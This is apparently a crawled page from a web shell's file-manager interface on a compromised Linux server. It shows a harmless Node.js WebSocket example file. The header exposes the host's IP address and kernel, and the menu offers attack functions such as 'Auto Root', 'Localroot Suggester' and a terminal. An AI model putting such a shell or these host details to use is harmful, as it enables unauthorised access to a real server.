Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-ws /
examples /
server-stats /
Delete
Unzip
Name
Size
Permission
Date
Action
public
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
index.js
779
B
-rw-r--r--
2022-11-06 18:30
package.json
149
B
-rw-r--r--
2022-11-06 18:30
Save
Rename
'use strict'; const express = require('express'); const path = require('path'); const { createServer } = require('http'); const { WebSocketServer } = require('../..'); const app = express(); app.use(express.static(path.join(__dirname, '/public'))); const server = createServer(app); const wss = new WebSocketServer({ server }); wss.on('connection', function (ws) { const id = setInterval(function () { ws.send(JSON.stringify(process.memoryUsage()), function () { // // Ignore errors. // }); }, 100); console.log('started client interval'); ws.on('close', function () { console.log('stopping client interval'); clearInterval(id); }); }); server.listen(8080, function () { console.log('Listening on http://localhost:8080'); });